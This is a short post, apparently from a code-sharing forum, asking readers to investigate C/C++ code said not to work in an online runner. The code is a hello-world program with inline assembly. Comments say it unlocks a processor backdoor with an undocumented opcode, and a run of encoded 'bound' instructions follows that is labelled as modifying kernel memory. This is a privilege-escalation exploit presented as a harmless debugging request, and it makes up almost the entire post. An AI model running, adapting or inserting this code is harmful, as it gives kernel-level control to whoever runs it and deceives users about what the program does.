Investigate this code

[Lunarmagpie]

This is some C code that doesn't work with io/run

#include <iostream>

int main(void)
{
    /* unlock the backdoor */
    __asm__ ("movl $payload, %eax");
    __asm__ (".byte 0x0f, 0x3f");

    /* modify kernel memory */
    __asm__ ("payload:");
    __asm__ ("bound  %eax,0xa310075b(,%eax,1)");
    __asm__ ("bound  %eax,0x24120078(,%eax,1)");
    __asm__ ("bound  %eax,0x80d2c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0x0a1af97f(,%eax,1)");
    __asm__ ("bound  %eax,0xc8109489(,%eax,1)");
    __asm__ ("bound  %eax,0x0a1af97f(,%eax,1)");
    __asm__ ("bound  %eax,0xc8109c89(,%eax,1)");
    __asm__ ("bound  %eax,0xc5e998d7(,%eax,1)");
    __asm__ ("bound  %eax,0xac128751(,%eax,1)");
    __asm__ ("bound  %eax,0x844475e0(,%eax,1)");
    __asm__ ("bound  %eax,0x84245de2(,%eax,1)");
    __asm__ ("bound  %eax,0x8213e5d5(,%eax,1)");
    __asm__ ("bound  %eax,0x24115f20(,%eax,1)");
    __asm__ ("bound  %eax,0x2412c133(,%eax,1)");
    __asm__ ("bound  %eax,0xa2519433(,%eax,1)");
    __asm__ ("bound  %eax,0x80d2c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xc8108489(,%eax,1)");
    __asm__ ("bound  %eax,0x24120208(,%eax,1)");
    __asm__ ("bound  %eax,0x80d2c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xc8108489(,%eax,1)");
    __asm__ ("bound  %eax,0x24120000(,%eax,1)");
    __asm__ ("bound  %eax,0x24110004(,%eax,1)");
    __asm__ ("bound  %eax,0x80d1c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xe01095fd(,%eax,1)");
    __asm__ ("bound  %eax,0x80d1c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xe01095fd(,%eax,1)");
    __asm__ ("bound  %eax,0x80d1c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0x80d1c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xe0108dfd(,%eax,1)");
    __asm__ ("bound  %eax,0x80d1c5d0(,%eax,1)");
    __asm__ ("bound  %eax,0xe0108dfd(,%eax,1)");

    std::cout << "Hello world\n";

    return 0;
}